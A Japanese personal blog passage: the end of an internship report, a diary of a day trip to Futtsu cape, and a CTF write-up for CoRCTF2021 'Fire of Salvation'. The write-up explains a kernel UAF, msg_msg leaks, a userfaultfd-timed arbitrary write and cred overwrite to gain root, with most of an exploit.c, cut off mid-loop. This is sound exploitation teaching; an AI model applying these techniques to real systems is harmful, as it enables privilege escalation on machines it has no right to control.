それから飲み会の時にはてなエンジニアの特徴を聞いたのですが、かえってきた答えが「素朴」というものでした。コレに関しては、確かに良い意味で素朴なのかもしれないけれど、具体的にどういうところが素朴なのかというのはなかなか言葉で表現するのが難しいです。決して凡才という意味ではないし、ありきたりというわけでもないけれど、確かに素朴という言葉が良いのかもしれない?なんとか言葉で表そうと、この行を書くのに30分使ったけれど、やっぱり思いつかないのでやめておきます。また、他の人は特徴として人懐っこいことをあげていました。これは分かりやすくて何かに困っていると勝手に他の人が助けてくれるような雰囲気になっていました。

あと、インターン中に気づいたのですがはてなは意外と任天堂との関わりも大きいようで、任天堂のゲームのアプリ開発もいくつか請け負っていたようです(公開情報)。ぼくがこよなく愛するスマブラにも協力していたようです。また、インターン最終日にはスプラトゥーン3のアプリも出ました。シューティングゲー苦手なのでイカはやってこなかったのですが、これを機にやってみようかと思います。

prtimes.jp

 

はてな本社は京都にあり、東京にもオフィスがあります。今回はフルリモートだったのですが、やはり京都オフィスには行ってみたかったですね。知らなかったのですが、ネットミームである「眠いのを我慢して仕事しても全然効率的ではない」のあの人の画像は、はてなのオフィスで撮影されたものらしいです(公開情報)。聖地巡礼したかった...!

 

アウトロ

3週間という短期のインターンは初めてでしたが、企画・運営の方々、チームの方々のおかげで非常に濃い3週間を過ごすことができました。

 

ぼくはお世話になった人に最後に挨拶する時にはまたどこかでご一緒しましょうと言うのですが、20歳を超えてからは実際にまた会えるという事は殆どなくなった気がします。それでもやっぱり最後はこの挨拶以外思いつかないのですが。言う側も言われる側も、きっと次はないと分かりつつも、それでも使ってしまう小さな願いを込めた言葉ですね。そんな願いを言葉に書き残しておくことのできるはてなブログを、これからもいちユーザとして応援しています。またどこかでご一緒できることを楽しみにしています、ありがとうございました。

 

続く....

 

 

 

 

 

 

【雑談14.0】ON THE EDGE

Warning

this article is not about pwn.

はいどうも、ニートです。

久しぶりの近況報告回です。

最近は卒論を出した後、なかなか朝起きれない生活を送っています。気分転換のために、毎日散歩したり、インターンに応募したり試験受けたり、部屋の模様替えをしたり、Unicodeサロゲートペアに少し詳しくなったりしながら生活しています。

ここ1年ほど、バイトで数回外出することを除けば、文京区から外にほとんど出ていないことに気づきました。どこかに遠出したいと思いながらもどこに行けばいいかわからない状況が続く中、丁度この土日は特にすることがなかったため(厳密にはこの土日に関わらずいつでもすることはないですが)、TSGのsandboxで外出先を募集しました。

 

f:id:smallkirby:20220320175715p:plain

f:id:smallkirby:20220320175722p:plain

そうだ、富津岬に行こう。

 

 

思い立ったのが13:00頃だったため、割とギリギリの時間でした。目標はいい感じの夕焼けを見ることです。すぐにカバンにイヤホンと財布とケータイと充電器を詰めて電車に乗りました。まず千葉まで1時間ほど電車に乗ります。かなり暇なので、村上春樹回転木馬のデッド・ヒートを読み終わり、続いてスプートニクの恋人を読み始めました。千葉につくと、次の電車まで30分程度あったため近くのカフェに寄って気取ったパンと胡散臭いカフェオレを飲みました。千葉から電車に乗って青堀駅まで1時間程度。このときは電車に載るのにも飽きたため、ひたすら無を貪っていました。近くに座っていた女子大生と思わしき3人組の話を否が応でも聞くはめになり、やれ高圧的な客がどうこうという話とか、やれ限界を突破する飲み会の話だとかを聞きながら1時間を過ごしました。青堀駅につくと(厳密には君津から青掘までは1駅分乗り換える必要がありました)、そこには何もありませんでした。実家に帰ってきた気分です。

f:id:smallkirby:20220320180445j:plain

因みに地図を見ると、青掘は古墳に支配された街でした。

f:id:smallkirby:20220320180524j:plain

そこで1時間に1本あるかないかのバスを待ち、自分以外乗客が居ないバスに乗りました。どこに行ってもPASMOが使えるいい時代です。バスに乗るのは、高校で雨が振って自転車を使えない時以来でした。丁度富津岬公園とかいうところまで直通だったので、それで富津岬公園まで行きました。公園につくと、すぐには海が見えず、いわゆる先端までしばらく歩く必要がありました。

f:id:smallkirby:20220320180657j:plain

f:id:smallkirby:20220320180712p:plain

この日の日没は17:50頃だったため、丁度いいくらいの時間です。ひたすらに何もない1本道を、今津波が来たら絶対に逃げられないなぁと思いながらひたすらに歩き、ときには走って10分ほど。岬につきました。

f:id:smallkirby:20220320180838j:plain

f:id:smallkirby:20220320180853j:plain

f:id:smallkirby:20220320180905j:plain

f:id:smallkirby:20220320180916j:plain

海は好きでたまに行くのですが、行くたびに、結局なんにもやることないなぁと思います。この日も、10分ほど海を吸収してすぐに帰ることにしました。岬につく前には既におうちに帰りたい気持ちになっていて、人類の全ての不幸は唯部屋の中でじっとしていられないことに起因するという誰かの言葉を噛みしめることになりました。

帰りは、少し猫カフェに寄って猫を堪能しました。

f:id:smallkirby:20220320181116j:plain

帰りの二時間の電車はひたすらに暇だったため、君の名は。を見ました。2016年公開ですが、この6年間一つのネタバレもなしに君の名を。見た珍しい人類がまた一人減ったことを悔やみながら見ました。手に余計なこと書いてないで普通に名前書けやとかつっこみながら見たものの、とても面白く良い映画でした。ただ個人的には、この後に連続して見た天気の子のほうが気に入りました。ちょっと犯罪犯しすぎじゃない?とは思ったものの、君の名は。と違ってデストピアな雰囲気があって、且つそのデストピアを諦めを以って受け入れるストーリーの方が20を超えてしまった自分にはあっていたみたいです。残念ながら。

 

 

 

書くことがなくなりました。これ、何のブログ????

 

 

 

 

続かない。

 

 

 

 

 

 

 

【pwn 60.0】Fire of Salvation - CoRCTF2021 (kernel exploit)

 

keywords

kernel exploit / msg_msg / msg_seg / userfault_fd / cred walk / kmalloc-4k / shm_file_data / load_msg

 

1: TL;DR

- FGKASLR / SMEP / SMAP / KPTI / static modprobe_path / slab randomized

- Impl a network module and a misc device to create user defined rule whether specific network packets should be accepted or dropped.

- The rule structure is placed on kmalloc-4k slab. There is a write-only partial UAF.

- Leak kernel data symbol by overwriting msg_msg.m_ts with kmalloc-32 slab addr where shm_file_data are sprayed.

- Leak current process' task_struct by task walking.

- Overwrite task_struct.cred with init_cred by overwriting msg_msg.next in load_msg(). The timing is controlled by userfaultfd.

 

2: イントロ

いつぞや開催されたCoR CTF 2021のkernel pwn問題のFire of Salvationを解いていく。

本問題は#defineマクロの内容によってEASY/HARDの2種類の難易度として問題が出題されていたらしく、EASYはFire of Salvation、HARDはWall of Perditionという名前になっている。本エントリで解くのは、EASY難易度の方である。

 

3: static

lysithea

lysithea.txt
Drothea v1.0.0
[.] kernel version:
        Linux version 5.8.0 (Francoise d'Aubigne@proud_gentoo_user) (gcc (Debian 10.2.0-15) 10.2.0, GNU ld (GNU Binutils for Debian) 2.35.1) #8 SMP Sun July 21 12:00:00 UTC 2021
[+] CONFIG_KALLSYMS_ALL is disabled.
cat: can't open '/proc/sys/kernel/unprivileged_bpf_disabled': No such file or directory
[!] unprivileged userfaultfd is enabled.
[?] KASLR seems enabled. Should turn off for debug purpose.
[?] kptr seems restricted. Should try 'echo 0 > /proc/sys/kernel/kptr_restrict' in init script.
Ingrid v1.0.0
[.] userfaultfd is not disabled.
[-] CONFIG_DEVMEM is disabled.

FGKASLR/SMEP/SMAP/KPTI/static modprobe_path/slab randomized。uffdは使える。あと珍しい?ことにCONFIG_KALLSYMS_ALLがdisableされている。

厳密には、ご丁寧にkernel configが全部開示されているため見る必要はない。しかも、not strippedなbzImageが配布されている。ちなみにソースコードGitHubにはアップされていなかったが、author's writeupの最初の方を読んだ感じ本番では配布されていたようなので、ソースを見て解いた。同ブログによるとdebug symbolつきのvmlinuxを本番で配布したようだが、これはGitHubにもブログにも見つからなかったので、諦めて(?)debug symbol無しで解いた。

module overview

ネットワークパケットをaccept/dropするルールをユーザが決められるようなモジュールと、ルールを編集するためのmiscデバイスが作られている。ルールは以下の構造体で定義され、これはkmalloc-4kスラブに入れられる。

source.c
typedef struct
{
    char iface[16];            // interface name
    char name[16];             // rule name
    uint32_t ip;               // src/dst IP
    uint32_t netmask;          // src/dst IP netmask
    uint16_t proto;            // TCP / UDP
    uint16_t port;             // src/dst port
    uint8_t action;            // accept or drop
    uint8_t is_duplicated;     // flag which shows this rule is duplicated or not
    #ifdef EASY_MODE
    char desc[DESC_MAX];       // rule description
    #endif
} rule_t;

全てのメンバはユーザが指定でき、作成後に編集することも可能。しかし、descだけはedit不可のため、実際に編集できるのは先頭0x30 bytesである。ルールはINBOUND/OUTBOUND毎に0x80ずつ作ることができる。

 

4: vulnerability

INBOUNDのルールをOUTBOUNDにコピーする(or vice versa)機能がある:

source.c
// partially snipped by me
static long firewall_dup_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
{
    uint8_t i;
    rule_t **dup;

    dup = (user_rule.type == INBOUND) ? firewall_rules_out : firewall_rules_in;
    for (i = 0; i < MAX_RULES; i++)
    {
        if (dup[i] == NULL)
        {
            dup[i] = firewall_rules[idx];
            firewall_rules[idx]->is_duplicated = 1;
            return SUCCESS;
        }
    }
    return ERROR;
}

実装はINBOUNDのルールが入ったrule_t構造体のアドレスを、OUTBOUNDルールの配列に代入しているだけである。一方で、ルールを削除する関数は以下のように実装されている:

source.c
// partially snipped by me
static long firewall_delete_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
{
    kfree(firewall_rules[idx]);
    firewall_rules[idx] = NULL;
    return SUCCESS;
}

INBOUND(or OUTBOUND)のルールのうちidxで指定されたものをkfree()し、該当する配列にNULLを入れている。

だが、先程見たようにここでkfreeするrule_t構造体はduplicateされてOUTBOUND側にも入っている可能性がある。すなわち、freeされたオブジェクトにアクセスすることのできる UAF が存在する。

ルールを編集する機能は以下のように実装される:

source.c
// partially snipped by me
static long firewall_edit_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
{
    memcpy(firewall_rules[idx]->iface, user_rule.iface, 16);
    memcpy(firewall_rules[idx]->name, user_rule.name, 16);
    if (in4_pton(user_rule.ip, strnlen(user_rule.ip, 16), (u8 *)&(firewall_rules[idx]->ip), -1, NULL) == 0)
    {
        printk(KERN_ERR "[Firewall::Error] firewall_edit_rule() invalid IP format!\n");
        return ERROR;
    }
    
    if (in4_pton(user_rule.netmask, strnlen(user_rule.netmask, 16), (u8 *)&(firewall_rules[idx]->netmask), -1, NULL) == 0)
    {
        printk(KERN_ERR "[Firewall::Error] firewall_edit_rule() invalid Netmask format!\n");
        return ERROR;
    }

    firewall_rules[idx]->proto = user_rule.proto;
    firewall_rules[idx]->port = ntohs(user_rule.port);
    firewall_rules[idx]->action = user_rule.action;
    return SUCCESS;
}

つまり、UAFではdescriptionを除くrule_tの先頭0x30 bytes分だけwriteができる。なお、read機能は実装されていない。

 

5: FGKASLR

nokaslrにする前の状態でkallsymsを2回ほど見て気づいたが、FGKASLRが有効化されている。これによって、kernellandの各関数はそれぞれが独立したセクションに配置され、各セクションの配置はランダマイズされる。よって、.textシンボルのどれかをleakしたとしてもあまり効果がない。なお、FGKASLR問に関する過去のエントリは以下をチェック:

smallkirby.hatenablog.com

smallkirby.hatenablog.com

 

6: kernel .data leak

rough plan to leak data

FGKASLRが有効である以上、まずやるべきことは.dataシンボルのleakである。UAFのサイズがkmalloc-4kである、このサイズの有用な構造体というとだいぶ限られてくる。今回はmsg_msgを使うことにした。msg_msgに関しては丁度、前エントリ(nightclub from pbctf2021)でも使ったため、前提知識がない場合はそちらも参考のこと。msg_msgは以下のように定義される:

/include/linux/msg.h
/* one msg_msg structure for each message */
struct msg_msg {
	struct list_head m_list;
	long m_type;
	size_t m_ts;		/* message text size */
	struct msg_msgseg *next;
	void *security;
	/* the actual message follows immediately */
};

m_tsはヘッダを除くメッセージの大きさを、nextはメッセージサイズがDATALEN_MSGに収まらない場合の次のセグメントアドレスを表す。このm_tsを大きな値に書き換えることで、msgrcv()時に本来のメッセージサイズ以上に読み取ることができleakできると考えた。

 

message unlinking from queue

試しにUAFした領域にmsg_msgを確保し、m_listをNULL、m_tsDATALEN_MSG + 0x300程度に書き換えたところ、以下のようなエラーになった:

f:id:smallkirby:20220224012924p:plain

NULL pointer deref error due to message unlinking

NULL pointer derefが起きている。これはdo_msgrcv()における以下の部分が問題である:

/ipc/msg.c
// partially snipped by me
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
	       long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
	int mode;
	struct msg_queue *msq;
	struct ipc_namespace *ns;
	struct msg_msg *msg, *copy = NULL;
...
	if (msgflg & MSG_COPY) {
		if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))
			return -EINVAL;
		copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax));
		if (IS_ERR(copy))
			return PTR_ERR(copy);
	}
	mode = convert_mode(&msgtyp, msgflg);
...
	msq = msq_obtain_object_check(ns, msqid);
...
	for (;;) {
		struct msg_receiver msr_d;
		msg = ERR_PTR(-EACCES);
...
		msg = find_msg(msq, &msgtyp, mode);
		if (!IS_ERR(msg)) {
			/*
			 * Found a suitable message.
			 * Unlink it from the queue.
			 */
			if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
				msg = ERR_PTR(-E2BIG);
				goto out_unlock0;
			}
			/*
			 * If we are copying, then do not unlink message and do
			 * not update queue parameters.
			 */
			if (msgflg & MSG_COPY) {
				msg = copy_msg(msg, copy);
				goto out_unlock0;
			}

			list_del(&msg->m_list);
...
			goto out_unlock0;
		}
...
out_unlock0:
	ipc_unlock_object(&msq->q_perm);
	wake_up_q(&wake_q);
out_unlock1:
	rcu_read_unlock();
	if (IS_ERR(msg)) {
		free_copy(copy);
		return PTR_ERR(msg);
	}

	bufsz = msg_handler(buf, msg, bufsz);
	free_msg(msg);

	return bufsz;
}

msg_msg.m_listは同一queue内に存在するメッセージを保持する双方向リストであるが、list_del()内でリストからメッセージを削除するためにmsg_msg.m_listがderefされる。今回はm_listをNULLでoverwriteしているためヌルポになってしまう。とはいっても、このUAFでは先頭からsequentialにwriteするしかないため、msg_msgの先頭にあるm_listを書き換えずに残しておくことはできない。

対策としては、コード中にご丁寧に書いてあるようにCOPY_MSGをフラグとして指定してあげると、メッセージの取得時にメッセージはコピーされ、リストから外されない。これだけでm_tsを適当に書き換えてもヌルポは出なくなる。

 

structure of `msg_msg` and `msg_seg`

COPY_MSG(とIPC_NOWAIT)をmsgrcv()時のフラグとして指定してメッセージを読んだときの結果が以下のようになった:

f:id:smallkirby:20220224013006p:plain

leaked values from `msgrcv()`

0x55は自分でメッセージとして入れた適当な値であり、それ以外は全く読まれていないことがわかる。これはmsg_msg/msg_segの仕組みを考えれば至ってふつうのコトである。

msgsnd()では以下のようにメッセージが作成される:

f:id:smallkirby:20220224013027p:plain

message allocation in `msgsnd()`

ユーザが指定したメッセージを、ヘッダを除いたサイズ(DATALEN_MSG/DATALEN_SEG)毎に分割し、それぞれをslabに置く。msgrcv()ではこれの逆で、msg_msgからnextポインタを辿って指定されたサイズ分だけメッセージを確保する。

先程の例では、nextをNULLクリアしてしまっているため、msg_msg内のデータ(size: DATALEN_MSG)だけ読んだ時点でメッセージの読み込みが終了してしまう。例え大きなm_tsを指定したとしても、nextがNULLの場合にはそれ以上メッセージは読み込まれない。

 

randomized slab / leak via `shm_file_data`

というわけで、msgsnd()の際にDATALEN_MSGよりも大きいサイズのメッセージを与えたあと、 msg_msgの方をUAF領域に確保する 必要がある。この状態でUAFを使ってmsg_msg.m_tsを大きなサイズにすることで、msg_segを読み込む際にOOB readが可能になる。

この段階で気づいたが、SLABのアドレスがランダマイズされていた(実際は、問題分にその旨が書かれていたが気づかなかった)。よって、victimとなる構造体をスプレーしたあとでmsg_segが確保されるようにし、msg_segのすぐ後ろにvictim構造体が確保されることを祈るしか無い。よって、今回使う構造体の条件は「それなりに小さいサイズ」であること(sprayを容易にするため)と、「構造体内に.dataシンボルがあること」の2つとなる。この辺を探すと、shm_file_dataが使えそうであることがわかる。

なお、この際注意するべきこととして、もともとmsg_msg.nextに入っているアドレス(pointing to msg_seg)は上書きしてはいけない。幸いにも、今回のUAF writeは以下のように実装されている:

source.c
// partially snipped by me
static long firewall_edit_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
{
    memcpy(firewall_rules[idx]->iface, user_rule.iface, 16);
    memcpy(firewall_rules[idx]->name, user_rule.name, 16);
    /** ☆ CAN BE STOPED HERE ☆ **/
    if (in4_pton(user_rule.ip, strnlen(user_rule.ip, 16), (u8 *)&(firewall_rules[idx]->ip), -1, NULL) == 0)
    {
        printk(KERN_ERR "[Firewall::Error] firewall_edit_rule() invalid IP format!\n");
        return ERROR;
    }
    firewall_rules[idx]->proto = user_rule.proto;
    firewall_rules[idx]->port = ntohs(user_rule.port);
    firewall_rules[idx]->action = user_rule.action;
    return SUCCESS;
}

UAFをした際には、namem_tsが、ipnextが対応しているのだが、in4_pton()がエラーを返すような文字列を敢えて渡すことで、m_tsまでoverwriteした状態で処理を中止させることができる。これで、正規のmsg_segへのポインタnextは保たれたままになる。

そんな感じでUAFでmsg_msg.m_tsを書き換えた後のheapは以下のようになる:

f:id:smallkirby:20220224013101j:plain

memory layout after `m_ts` is overwritten

msgrcv()でleakされる値は以下のようになっており、.dataシンボルがleakできていることがわかる:

f:id:smallkirby:20220224013129p:plain

leaked value contains kernel .data symbols

7: overwrite cred

`msgrcv()` internal with `MSG_COPY` flag

さて、ここまでで.dataがleakできているため、以前(Krazynote from BalsnCTF2019)にも使ったようにtask_struct.credを書き換えることでrootを取りたい。.dataがleakできているため、init_task/init_credのアドレスも既にわかっている。あとはAAWが欲しい。

ここで今度はmsgrcv()のフローを少しだけ詳細に見てみる:

f:id:smallkirby:20220224013148p:plain

message copy flow in `msgrcv`

まずload_msg()において、msgsnd()で作られたものとは また別の msg_msg/msg_segが確保される。そして、このmsg_msgに対してユーザ指定のバッファ(msgrcv()で指定)から指定したサイズ分だけデータを取ってくる(このユーザランドから持ってくる処理、MSG_COPYに限って言えば全く意味のない処理だと思うんだけど、どうでしょう)。その後、copy_msg()において、msgsnd()で作られたオリジナルのmsg_msgからデータをmemcpy()でコピーしてくる。最後に、do_msg_fill()でユーザ指定のバッファに読んだデータを全部書き戻す。

ここで気になるのは図の③の部分でわざわざオリジナルのmsg_msgからtemporaryなmsg_msg/msg_segへとコピーを行っている:

/ipc/msgutil.c
struct msg_msg *copy_msg(struct msg_msg *src, struct msg_msg *dst)
{
	struct msg_msgseg *dst_pseg, *src_pseg;
	size_t len = src->m_ts;
	size_t alen;

	if (src->m_ts > dst->m_ts)
		return ERR_PTR(-EINVAL);

	alen = min(len, DATALEN_MSG);
	memcpy(dst + 1, src + 1, alen);

	for (dst_pseg = dst->next, src_pseg = src->next;
	     src_pseg != NULL;
	     dst_pseg = dst_pseg->next, src_pseg = src_pseg->next) {

		len -= alen;
		alen = min(len, DATALEN_SEG);
		memcpy(dst_pseg + 1, src_pseg + 1, alen);
	}

	dst->m_type = src->m_type;
	dst->m_ts = src->m_ts;

	return dst;
}

コードからもわかるとおり、ここでもmsg_msgを読んだ後にnextが指すmsg_segからデータをコピーするフローになっている。

 

AAW abusing `msgrcv` copy flow

さて、ここで ③の実行前に「temporaryな方」のmsg_msg.nextを任意のアドレスに書き換えることができれば、③のコピー時にオリジナルのmsg_msgの中身を任意のアドレスに書き込むことができる と考えられる。コピーに使うのはmemcpy()であり、アドレスのレンジチェック等もない。

どうやって③の前にmsg_msg.nextを書き換えるかだが、①でtemporaryなmsg_msgを確保した後、②でuserlandからのコピーが発生するため、②でuserfaultfdを仕掛けることができる。つまり、予め「次に確保されるslabがUAF領域になる」ような状態を作っておいてからmsgrcv()を呼ぶことでtemporaryなmsg_msgはUAF-writableな状態になるため、②をuffdで止めている間にtemporaryなmsg_msg.nextを書き換えることができる。この時一緒にm_tsも適当に書き換えておくことで、AAWで書き込むサイズも任意に調整することができる。図にすると、以下の感じでAAWになる:

f:id:smallkirby:20220224013216p:plain

AAW primitive by abusing message copy flow

task_struct walk

これでAARもAAWも実現できたため、あとはやるだけゾーン。因みに、配布されたkernel configを見たところmodprobe_pathはstaticになっていたため、task_structcredを書き換える方針で行く。まずAARを使ってinit_tasktasks.prevを辿っていき、epxloitプロセス自身のtaskを見つける。なお、task_struct内のtasksのoffsetを見つけるのが少しめんどくさい(cred自体はinit_taskの中身をinit_credの値でgrepすれば一瞬で分かる)。今回はまず、prctl()task_struct.commをマーキング(0xffff888007526550)し、その値でメモリ上を全探索して自プロセスのtask_structを見つけた後、そのアドレスを3nibbleくらいマスクした値(0xffff888007526)でinit_taskgrepした。運が良いとinit_task.tasks.nextはexploitプロセスになっているから、これでtasksのoffsetが分かる(運が悪いとswapperとかがリストに入ってくる)。今回はtasksのオフセットが0x298であることがわかった:

f:id:smallkirby:20220224013242p:plain

finding `tasks` offset in `task_struct`

あとはinit_taskからtask_struct.tasks.prevを辿ってcommが設定した値になっているtask_structを探せば良い:

f:id:smallkirby:20220224013304p:plain

`current_task` is leaked by task walk

 

8: full exploit

 

exploit.c
#include "./exploit.h"

/*********** commands ******************/

#define DEV_PATH "/dev/firewall"   // the path the device is placed
#define ADD_RULE 0x1337babe
#define DELETE_RULE 0xdeadbabe
#define EDIT_RULE 0x1337beef
#define SHOW_RULE 0xdeadbeef
#define DUP_RULE 0xbaad5aad
#define DESC_MAX 0x800

// size: kmalloc-4k
typedef struct
{
    char iface[16];
    char name[16];
    char ip[16];
    char netmask[16];
    uint8_t idx;
    uint8_t type;
    uint16_t proto;
    uint16_t port;
    uint8_t action;
    char desc[DESC_MAX];
} user_rule_t;

// (END commands )

/*********** constants ******************/

#define ERROR -1
#define SUCCESS 0
#define MAX_RULES 0x80

#define INBOUND 0
#define OUTBOUND 1
#define SKIP -1

scu diff_init_cred_ipc_ns = 0xffffffff81c33060 - 0xffffffff81c3d7a0;
scu diff_init_task_ipc_ns = 0xffffffff81c124c0 - 0xffffffff81c3d7a0;

#define ADDR_FAULT 0xdead000

#define COMM_OFFSET 0x550
#define TASKS_PREV_OFFSET 0x2A0
#define TASKS_NEXT_OFFSET 0x298
#define CRED_OFFSET 0x540
#define TASK_OVERBUFSZ DATALEN_MSG + 0x800

// (END constants )

/*********** globals ******************/

int firewall_fd = -1;
char *buf_name;
char *buf_iface;
char *buf_ip;
char *buf_netmask;
ulong target_task = 0;

// (END globals )


long firewall_ioctl(long cmd, void *arg) {
  assert(firewall_fd != -1);
  return ioctl(firewall_fd, cmd, arg);
}

void add_rule(char *iface, char *name, uint8_t idx, uint8_t type, char *desc) {
  user_rule_t rule = {
    .idx = idx,
    .type = type,
    .proto = IPPROTO_TCP,
    .port = 0,
    .action = NF_DROP,
  };
  memcpy(rule.iface, iface, 16);
  memcpy(rule.name, name, 16);
  strcpy(rule.ip, "0.1.2.3");
  strcpy(rule.netmask, "0.0.0.0");
  memcpy(rule.desc, desc, DESC_MAX);
  long result = firewall_ioctl(ADD_RULE, (void*)&rule);
  assert(result == SUCCESS);
  return;
}

void dup_rule(uint8_t src_type, uint8_t idx) {
  user_rule_t rule = {
    .type = src_type,
    .idx = idx,
  };
  long result = firewall_ioctl(DUP_RULE, (void*)&rule);
  assert(result == SUCCESS);
  return;
}

void delete_rule(uint8_t type, uint8_t idx) {
  user_rule_t rule = {
    .type = type,
    .idx = idx,
  };
  long result = firewall_ioctl(DELETE_RULE, &rule);
  assert(result == SUCCESS);
  return;
}

long edit_rule(char *iface, char *name, uint8_t idx, uint8_t type, char *ip, char *netmask, ulong port) {
  user_rule_t rule = {
    .type = type,
    .idx = idx,
    .proto = IPPROTO_TCP,
    .port = port,
    .action = NF_ACCEPT,
  };
  memcpy(rule.iface, iface, 16);
  memcpy(rule.name, name, 16);
  if (ip == NULL ) strcpy(rule.ip, "0.0.0.0");
  else strcpy(rule.ip, ip);
  if (netmask == NULL) strcpy(rule.netmask, "0.0.0.0");
  else strcpy(rule.netmask, netmask);
  return firewall_ioctl(EDIT_RULE, &rule);
}

void edit_rule_preserve(char *iface, char *name, uint8_t idx, uint8_t type) {
  char *ip_buf = calloc(0x20, 1);
  strcpy(ip_buf, "NIRUGIRI\x00");
  assert(edit_rule(iface, name, idx, type, ip_buf, NULL, 0) == ERROR);
}

char *ntop(uint32_t v) {
  char *s = calloc(1, 0x30);
  unsigned char v0 = (v >> 24) & 0xFF;
  unsigned char v1 = (v >> 16) & 0xFF;
  unsigned char v2 = (v >> 8) & 0xFF;
  unsigned char v3 = v & 0xFF;
  sprintf(s, "%d.%d.%d.%d", v3, v2, v1, v0);
  return s;
}

void handle_fault(ulong arg) {
  const ulong target = target_task + CRED_OFFSET - 8 - 8;
  printf("[+] overwriting temp msg_msg.next with 0x%lx\n", target);
  memset(buf_iface, 0, 0x10); // m_list
  ((long*)buf_name)[0] = 1; // m_type
  ((long*)buf_name)[1] = DATALEN_MSG + 0x10 + 8; // m_ts
  strcpy(buf_ip, ntop(target)); // next & 0xFFFFFFFF
  strcpy(buf_netmask, ntop(target>> 32)); // next & (0xFFFFFFFF << 32)
  edit_rule(buf_iface, buf_name, 1, OUTBOUND, buf_ip, buf_netmask, 0);
}

struct msg4k {
  long mtype;
  char mtext[PAGE - 0x30];
};

int main(int argc, char *argv[]) {
  puts("[ ] Hello, world.");
  firewall_fd = open(DEV_PATH, O_RDWR);
  assert(firewall_fd >= 2);

  // alloc some buffers
  char *buf_1p = mmap(0, PAGE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  char *buf_cpysrc = mmap(0, PAGE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  char *buf_big = mmap(0, PAGE * 3, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  assert(buf_1p != MAP_FAILED && buf_big != MAP_FAILED);
  memset(buf_1p, 'A', PAGE);
  memset(buf_big, 0, PAGE * 3);
  buf_name = calloc(1, 0x30);
  buf_iface = calloc(1, 0x30);
  buf_ip = calloc(1, 0x30);
  buf_netmask = calloc(1, 0x30);

  // heap cleaning
  puts("[.] cleaning heap...");
  #define CLEAN_N 10
  for (int ix = 0; ix != CLEAN_N; ++ix) {
    int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    struct msg4k cleaning_msg = { .mtype = 1 };
    memset(cleaning_msg.mtext, 'B', PAGE - 0x30);
    KMALLOC(qid, cleaning_msg, 1);
  }

  // allocate sample rules
  puts("[.] allocating sample rules...");
  #define FIRST_N 30
  for (int ix = 0; ix != CLEAN_N; ++ix) {
    add_rule(buf_iface, buf_name, ix, INBOUND, buf_1p);
  }

  // dup rule 1
  puts("[.] dup rule 1...");
  dup_rule(INBOUND, 1);

  // delete INBOUND rule 1
  puts("[.] deleting inbound 1...");
  delete_rule(INBOUND, 1);

  // spray `shm_file_data` on kmalloc-32
  #define SFDN 0x50
  rep(ix, SFDN) {
    int shmid = shmget(IPC_PRIVATE, PAGE, 0600);
    assert(shmid >= 0);
    void *addr = shmat(shmid, NULL, 0);
    assert((long)addr >= 0);
  }

  // allocate msg_msg on 4k & 32 heap (UAF)
  puts("[.] allocating msg_msg for UAF...");
  int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
  struct msg4k uaf_msg = { .mtype = 1 };
  memset(uaf_msg.mtext, 'U', PAGE - 0x30);
  assert(msgsnd(qid, &uaf_msg, DATALEN_MSG + 0x20 - 0x8, MSG_COPY | IPC_NOWAIT) == 0);

  // use UAF write to overwrite msg_msg.m_ts
  puts("[+] overwriting msg_msg by UAF.");
  #define OVERBUFSZ DATALEN_MSG + 0x300
  memset(buf_iface, 0, 0x10); // m_list
  ((long*)buf_name)[0] = 1; // m_type
  ((long*)buf_name)[1] = OVERBUFSZ; // m_ts
  edit_rule_preserve(buf_iface, buf_name, 0, OUTBOUND);

  errno = 0;
  // receive msg_msg to leak kern data.
  puts("[+] receiving msg...");
  assert(qid >= 0 && PAGE >= 0);
  memset(buf_big, 0, PAGE * 3);
  ulong tmp;
  if ((tmp = msgrcv(qid, buf_big, PAGE * 2, 0, MSG_COPY | IPC_NOWAIT | MSG_NOERROR)) <= 0) { // SEARCH_ANY
    errExit("msgrcv");
  }
  printf("[+] received 0x%lx size of msg.\n", tmp);
  //print_curious(buf_big + DATALEN_MSG, 0x300, 0);
  const ulong init_ipc_ns = *(ulong*)(buf_big + DATALEN_MSG + 0x5 * 8);
  const ulong init_cred = diff_init_cred_ipc_ns + init_ipc_ns;
  const ulong init_task = diff_init_task_ipc_ns + init_ipc_ns;
  if (init_ipc_ns == 0) { puts("[+] failed to leak init_ipc_ns."); exit(1);};
  printf("[!] init_ipc_ns: 0x%lx\n", init_ipc_ns);
  printf("[!] init_cred: 0x%lx\n", init_cred);
  printf("[!] init_task: 0x%lx\n", init_task);

  // task walk
  puts("[+] starting task_struct walking...");
  char *new_name = "NirugiriSummer";
  assert(strlen(new_name) < 0x10);
  assert(prctl(PR_SET_NAME, new_name) != -1);
  #define TASK_WALK_LIM 0x20
  ulong searching_task = init_task - 8;
  rep(ix, TASK_WALK_LIM) {
    if (target_task != 0) break;
    printf("[.] target addr: 0x%lx: ", searching_task);
    // overwrite `msg_msg.next`
    memset(buf_iface, 0, 0x10); // m_list
    ((long*)buf_name)[0] = 1; // m_type
    ((long*)buf_name)[1] = TASK_OVERBUFSZ; // m_ts
    strcpy(buf_ip, ntop(searching_task)); // next & 0xFFFFFFFF
    strcpy(buf_netmask, ntop(searching_task>> 32)); // next & (0xFFFFFFFF << 32)
    edit_rule(buf_iface, buf_name, 0, OUTBOUND, buf_ip, buf_netmask, 0);

    // leak `task_struct.comm`
    memset(buf_big, 0, PAGE * 2);
    if ((tmp = msgrcv(qid, buf_big, PAGE * 2, 0, MSG_COPY | IPC_NOWAIT | MSG_NOERROR)) <= 0) { // SEARCH_ANY
      errExit("msgrcv");
    }
    if (strncmp(buf_big + (DATALEN_MSG + 8) + COMM_OFFSET, new_name, 0x10)) {
